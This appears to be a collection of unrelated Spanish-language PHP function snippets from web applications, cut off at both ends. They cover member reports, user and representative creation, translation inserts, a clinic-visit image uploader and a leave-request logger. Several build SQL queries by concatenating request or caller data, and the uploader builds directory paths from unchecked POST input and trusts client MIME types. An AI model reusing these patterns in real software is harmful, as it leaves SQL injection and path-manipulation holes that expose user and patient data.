mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $fila['cod_u_organizaciones'];\n\t\t\t\t\t\t//echo $sqlRucOrgSocio . \"<br>\";\n\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t} \n\n\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\tif($aux == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t$aux++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif($numRegistros == 0)\n\t\t\t\t{\n\t\t\t\t\t// No es un asistente que pertnezca a una organizacion\n\t\t\t\t\t$rucSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$orgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$actividadOrgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$categoriaOrgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$identificacionCategoriaOrgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$sqlAsisten = \"select cod_provincia, cedula, apellidos, campo_fortalecimiento, genero, grupo_etnico, poblacion from asistentes where cedula = '\" . $valor . \"' and month(fecha_reporte) = \" . $mesSel . \" and year(fecha_reporte) = \" . $anioCurso . \" and anio = \" . $anioCurso;\n\t\t\t\t\t$resAsisten = query($sqlAsisten);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resAsisten))\n\t\t\t\t\t{\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $valor;\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$campoFortalecimiento = $fila['campo_fortalecimiento'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provNombre . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $cedulaSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $apellidosSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $generoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnicoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $poblacionSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $orgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $categoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $identificacionCategoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $campoFortalecimiento . \"</td>\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\t\t\t\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\n\n\t}\n\t$resultadoFinal = $tablaHeader . $lineasTabla;\n\treturn $resultadoFinal;\n}", "public static function generarRepresentanteLegal(Empresa $empresa,$nombres,$apellidop,$apellidom,$tipodocumento,$documento,$direccion,$numerocontacto2,$idpais,$genero,$email,$id_persona,$cargo,$expedido)\n {\n $logs = new Logs();\n $sqlLogs = new SQLLogs();\n \n $persona = new Persona();\n $sqlPersona = new SQLPersona();\n $hoy = date(\"Y-m-d h:m:s\");\n $usuario = new Usuario();\n $sqlUsuario = new SQLUsuario();\n \n if($id_persona=='0')\n {\n //es nuevo\n $persona->setNombres(mb_strtoupper($nombres));\n $persona->setPaterno(mb_strtoupper($apellidop));\n $persona->setMaterno(mb_strtoupper($apellidom));\n $persona->setId_tipo_documento($tipodocumento);\n $persona->setNumero_documento($documento);//este es el documento\n $persona->setDireccion($direccion);\n // if($numerocontacto!=''){$persona->setNumero_contacto($numerocontacto);}\n // if($numerocontacto2!=''){$persona->setNumero_contacto2($numerocontacto2);}\n $persona->setExpedido($expedido);\n $persona->setEmail($email);\n $persona->setId_pais_origen($idpais);\n $persona->setFecha_creacion($hoy);\n $persona->setEstado(1);//para el estado activo\n $persona->setId_usuario_creacion($_SESSION['id_usuario']);\n if($genero==1) $persona->setGenero(true);\n else $persona->setGenero(false);\n try{\n $sqlPersona->setGuardarPersona($persona);\n } catch (Exception $ex) {\n $logs->setDescripcion('ERROR: generarRepresentanteLegal: creacion de la PERSONA');\n $logs->setId_servicio(0);\n $logs->setMensaje($ex->getMessage());\n $logs->setObjeto(print_r($persona,true));\n $logs->setDate(Date('Y-m-d H:i:s'));\n $sqlLogs->Save($logs);\n return null;\n }\n \n \n //esto es para crear el nombre del usuario\n $campousuario=trim($persona->getNombres());\n $campousuario=$campousuario[0].$persona->getNumero_documento();\n //-guardamos el usuario\n \n $usuario->setUsuario($campousuario);\n $usuario->setClave(substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, 8));\n //$usuario->setClave('123456');\n $usuario->setFecha_creacion($hoy);\n $usuario->setId_persona($persona->getId_persona());\n $usuario->setActivo(1);\n $usuario->setId_tipo_usuario(2);\n try{\n $sqlUsuario->setGuardarUsuario($usuario);\n } catch (Exception $ex) {\n $logs->setDescripcion('ERROR: generarRepresentanteLegal: creacion del USUARIO');\n $logs->setId_servicio(0);\n $logs->setMensaje($ex->getMessage());\n $logs->setObjeto(print_r($usuario,true));\n $logs->setDate(Date('Y-m-d H:i:s'));\n $sqlLogs->Save($logs);\n $sqlPersona->delete($persona);\n return null;\n }\n }\n else\n {\n //es antiguo\n $persona->setId_persona($id_persona);\n $persona = $sqlPersona->getDatosPersonaPorId($persona);\n $usuario->setId_persona($id_persona);\n $usuario=$sqlUsuario->getDatosUsuarioPorIdPersona($usuario);\n }\n \n $perfil = new Perfil();\n $sqlPerfil = new SQLPerfil();\n $perfil->setId_perfil(3);//es pa el RL\n $perfil=$sqlPerfil->getBuscarDescripcionPorId($perfil);\n $perfil->getOpciones();\n\n $empresa_persona = new EmpresaPersona();\n $sqlEmpresaPersona = new SQLEmpresaPersona();\n $empresa_persona->setId_Persona($persona->getId_persona());\n $empresa_persona->setId_Empresa($empresa->getId_empresa());\n $empresa_persona->setId_Perfil(3);\n $empresa_persona->setFecha_Vinculacion($hoy);\n $empresa_persona->setOpciones_persona($perfil->getOpciones());\n $empresa_persona->setActivo(1);\n $empresa_persona->setCargo($cargo);\n try{\n $sqlEmpresaPersona->setGuardarEmpresaPersona($empresa_persona);\n return $persona->getId_persona().','.$usuario->getClave().','.$campousuario.','.$persona->getEmail();\n } catch (Exception $ex) {\n $logs->setDescripcion('ERROR: generarRepresentanteLegal: registo EMPRESA - PERSONA');\n $logs->setId_servicio(0);\n $logs->setMensaje($ex->getMessage());\n $logs->setObjeto(print_r($empresa_persona,true));\n $logs->setDate(Date('Y-m-d H:i:s'));\n $sqlLogs->Save($logs);\n $sqlPersona->delete($persona);\n $sqlUsuario->delete($usuario);\n }\n return null;\n /*if($sqlEmpresaPersona->setGuardarEmpresaPersona($empresa_persona)){\n return $persona->getId_persona().','.$usuario->getClave().','.$campousuario.','.$persona->getEmail();\n }else return null;*/\n }", "function add_traduccion_temp($id_palabra, $id_idioma, $traduccion,$explicacion,$pronunciacion,$id_colaborador,$estado) {\n\t\t$timestamp=time();\n\t\t$fecha=date(\"Y-m-d H:i:s\",$timestamp);\n\t\t$fecha_modificacion=date(\"Y-m-d H:i:s\",$timestamp);\n\t\t\n\t\t$connection = mysql_connect($this->HOST, $this->USERNAME, $this->PASSWORD);\n\t\t$SelectedDB = mysql_select_db($this->DBNAME);\n\t\t$ssql = \"INSERT INTO traducciones_temp (id_palabra, traduccion, explicacion,pronunciacion, id_idioma, id_colaborador, estado, fecha_alta, fecha_modificacion) \n\t\t\tVALUES ('$id_palabra', '$traduccion', '$explicacion', '$pronunciacion','$id_idioma', '$id_colaborador', '$estado', '$fecha', '$fecha')\";\n\t\t\t\n\t\t\t//lo inserto en la base de datos\n\t\t\tif (mysql_query($ssql,$connection)){\n\t\t\t\t//recibo el último id\n\t\t\t\t$ultimo_id = mysql_insert_id($connection);\n\t\t\t\tmysql_close($connection);\n\t\t\t\treturn $ultimo_id;\n\t\t\t}else{\n\t\t\t\tmysql_close($connection);\n\t\t\t\treturn false;\n\t\t\t} \t\t\n\t}", "static public function ctrCrearAtencionCPANEL(){\r\n\t\t\tif (isset($_POST[\"nuevoCodigo\"])){\r\n\t\t\t\tif (preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"idUser\"])){\r\n\r\n\t\t\t\t\t\r\n\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t= VALIDAR IMAGEN ATENCIONL =\r\n\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t$ruta = \"\";\r\n\t\t\t\t\t\r\n\r\n\t\t\t\t\tif (isset($_FILES[\"fotoDiagnostico\"][\"tmp_name\"])){\r\n\r\n\t\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"fotoDiagnostico\"][\"tmp_name\"]);\r\n\r\n\t\t\t\t\t\t$nuevoAncho = 791;\r\n\t\t\t\t\t\t$nuevoAlto = 1024;\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= CREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t$directorio = \"vistas/img/atenciones/\".$_POST[\"nuevoCodigo\"];\r\n\r\n\t\t\t\t\t\tmkdir($directorio, 0755);\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= DE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico\"][\"type\"] == \"image/jpeg\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta = \"vistas/img/atenciones/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".jpg\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"fotoDiagnostico\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\r\n\t\t\t\t\t\t\timagejpeg($destino, $ruta);\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico\"][\"type\"] == \"image/png\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta = \"vistas/img/atenciones/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".png\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"fotoDiagnostico\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\r\n\t\t\t\t\t\t\timagepng($destino, $ruta);\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\r\n\r\n\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t= VALIDAR IMAGEN ATENCION 2 =\r\n\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t$ruta2 = \"\";\r\n\r\n\t\t\t\t\tif (isset($_FILES[\"fotoDiagnostico2\"][\"tmp_name\"])){\r\n\r\n\t\t\t\t\t\tlist($ancho2, $alto2) = getimagesize($_FILES[\"fotoDiagnostico2\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\r\n\r\n\t\t\t\t\t\t$nuevoAncho = 791;\r\n\t\t\t\t\t\t$nuevoAlto = 1024;\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= CREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t$directorio2 = \"vistas/img/atenciones/i2/\".$_POST[\"nuevoCodigo\"];\r\n\r\n\t\t\t\t\t\tmkdir($directorio2, 0755);\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= DE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico2\"][\"type\"] == \"image/jpeg\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta2 = \"vistas/img/atenciones/i2/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".jpg\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"fotoDiagnostico2\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho2, $alto2);\r\n\t\t\t\t\t\t\timagejpeg($destino, $ruta2);\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico2\"][\"type\"] == \"image/png\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta2 = \"vistas/img/atenciones/i2/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".png\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"fotoDiagnostico2\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho2, $alto2);\r\n\t\t\t\t\t\t\timagepng($destino, $ruta2);\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\r\n\r\n\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\r\n\r\n\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t= VALIDAR IMAGEN ATENCION 3 =\r\n\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t$ruta3 = \"\";\r\n\r\n\t\t\t\t\tif (isset($_FILES[\"fotoDiagnostico3\"][\"tmp_name\"])){\r\n\r\n\t\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"fotoDiagnostico3\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\r\n\r\n\t\t\t\t\t\t$nuevoAncho = 791;\r\n\t\t\t\t\t\t$nuevoAlto = 1024;\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= CREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t$directorio = \"vistas/img/atenciones/i3/\".$_POST[\"nuevoCodigo\"];\r\n\r\n\t\t\t\t\t\tmkdir($directorio, 0755);\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= DE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico3\"][\"type\"] == \"image/jpeg\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta3 = \"vistas/img/atenciones/i3/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".jpg\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"fotoDiagnostico3\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\r\n\t\t\t\t\t\t\timagejpeg($destino, $ruta3);\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico3\"][\"type\"] == \"image/png\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta3 = \"vistas/img/atenciones/i3/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".png\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"fotoDiagnostico3\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\r\n\t\t\t\t\t\t\timagepng($destino, $ruta3);\r\n\r\n\t\t\t\t\t\t}\t\r\n\t\t\t\t\t}\r\n\r\n\r\n\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t= VALIDAR IMAGEN ATENCION 4 =\r\n\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t$ruta4 =\"\";\r\n\r\n\t\t\t\t\tif (isset($_FILES[\"fotoDiagnostico4\"][\"tmp_name\"])){\r\n\r\n\t\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"fotoDiagnostico4\"][\"tmp_name\"]);\r\n\r\n\t\t\t\t\t\t$nuevoAncho = 791;\r\n\t\t\t\t\t\t$nuevoAlto = 1024;\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= CREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t$directorio = \"vistas/img/atenciones/i4/\".$_POST[\"nuevoCodigo\"];\r\n\r\n\t\t\t\t\t\tmkdir($directorio, 0755);\r\n\r\n\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t= DE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP =\r\n\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico4\"][\"type\"] == \"image/jpeg\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta4 = \"vistas/img/atenciones/i4/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".jpg\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"fotoDiagnostico4\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\r\n\t\t\t\t\t\t\timagejpeg($destino, $ruta4);\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tif ($_FILES[\"fotoDiagnostico4\"][\"type\"] == \"image/png\"){\r\n\r\n\t\t\t\t\t\t\t/*=============================================\r\n\t\t\t\t\t\t\t= GUARDAMOS LA IMAGEN EN EL DIRECTORIO =\r\n\t\t\t\t\t\t\t=============================================*/\r\n\r\n\t\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\r\n\t\t\t\t\t\t\t$ruta4 = \"vistas/img/atenciones/i4/\".$_POST[\"nuevoCodigo\"].\"/\".$aleatorio.\".png\";\r\n\t\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"fotoDiagnostico4\"][\"tmp_name\"]);\r\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\r\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\r\n\t\t\t\t\t\t\timagepng($destino, $ruta4);\r\n\r\n\t\t\t\t\t\t}\t\r\n\t\t\t\t\t}\r\n\r\n\r\n\r\n\t\t\t\t\t$tabla = \"atencion\";\r\n\r\n\t\t\t\t\t\t$datos = array(\"codigo_atencion\" => $_POST[\"nuevoCodigo\"],\r\n\t\t\t\t\t\t\t\t\t \"id_usuario\" => $_POST[\"idUsuario\"],\r\n\t\t\t\t\t\t\t\t\t \"id_personal_salud\" => $_POST[\"nuevaPersonalSalud\"],\r\n\t\t\t\t\t\t\t\t\t \"id_paciente\" => $_POST[\"nuevoPaciente\"],\r\n\t\t\t\t\t\t\t\t\t \"ups\" => $_POST[\"nuevaUps\"],\r\n\t\t\t\t\t\t\t\t\t \"servicio\" => $_POST[\"nuevoServicio\"],\r\n\t\t\t\t\t\t\t\t\t \"especialidad\" => $_POST[\"nuevaEspecialidad\"],\r\n\t\t\t\t\t\t\t\t\t \"diagnostico\" => $_POST[\"nuevoDiagnostico\"],\r\n\t\t\t\t\t\t\t\t\t \"imagen_diagnostico\" => $ruta,\r\n\t\t\t\t\t\t\t\t\t \"imagen_diagnostico2\" => $ruta2,\r\n\t\t\t\t\t\t\t\t\t \"imagen_diagnostico3\" => $ruta3,\r\n\t\t\t\t\t\t\t\t\t \"imagen_diagnostico4\" => $ruta4,\r\n\t\t\t\t\t\t\t\t\t \"fecha_atencion\" => $_POST[\"nuevaFechaAtencion\"]);\r\n\r\n\t\t\t\t\t\t$respuesta = ModeloAtenciones::mdlIngresarAtenciones($tabla, $datos);\r\n\r\n\t\t\t\t\t\tif ($respuesta == \"ok\") {\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\techo '<script>\r\n\r\n\t\t\t\t\t\t\t\t\tswal({\r\n\t\t\t\t\t\t\t\t\t\ttype: \"success\",\r\n\t\t\t\t\t\t\t\t\t\ttitle: \"¡La Atención ha sido guardado correctamente!\",\r\n\t\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\r\n\t\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\r\n\t\t\t\t\t\t\t\t\t\tcloseOnConfirm: false\r\n\t\t\t\t\t\t\t\t\t\t}).then((result)=>{\r\n\t\t\t\t\t\t\t\t\t\t\tif(result.value){\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\twindow.location = \"historias-clinicas-crear\";\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t });\r\n\r\n\t\t\t\t\t\t \t\t </script>';\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t}else{\r\n\r\n\t\t\t\t\techo '<script>\r\n\r\n\t\t\t\t\t\t\tswal({\r\n\t\t\t\t\t\t\t\ttype: \"error\",\r\n\t\t\t\t\t\t\t\ttitle: \"¡La Atención no puede ir vacía o llevar caracteres especiales !\",\r\n\t\t\t\t\t\t\t\tshowConfirmButton: true,\r\n\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\r\n\t\t\t\t\t\t\t\tcloseOnConfirm: false\r\n\t\t\t\t\t\t\t\t}).then((result)=>{\r\n\t\t\t\t\t\t\t\t\tif(result.value){\r\n\r\n\t\t\t\t\t\t\t\t\t\twindow.location = \"historias-clinicas-crear\";\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t });\r\n\r\n\t\t\t\t\t\t </script>';\r\n\r\n\t\t\t}\r\n\t\t }\r\n\t\t/*===== FIN registro atenciones CPANEL ======*/\t\t\t\t\t\r\n\t }", "function d3jspie_generateur_autoriser(){}", "function AddUSTIDPruefungKunde($kunde)\n {\n\n\n }", "public function Registrar_Licencia_noRemunerada3(HojaVida $data) {\n $modelo = new HojaVida();\n $fechahora = $modelo->get_fecha_actual();\n $datosfecha = explode(\" \",$fechahora);\n $fechalog = $datosfecha[0];\n $horalog = $datosfecha[1];\n \n if($data->lic_id_tipo == 5) \n { // Licencia 3 meses\n $tiporegistro = \"Solicitud Licencia no Remunerada (3 Meses)\";\n }\n else\n {\n $tiporegistro = \"Solicitud Licencia no Remunerada hasta por 2 años\";\n }\n\n $accion = \"Registra una Nueva \".$tiporegistro.\" En el Sistema TALENTO HUMANO\";\n $detalle = $_SESSION['nombre'].\" \".$accion.\" \".$fechalog.\" \".\"a las: \".$horalog;\n $tipolog = 15;\n $idusuario = $_SESSION['idUsuario']; // idusuario que registra la solicitud de licencia\n \n $per_DI_other = 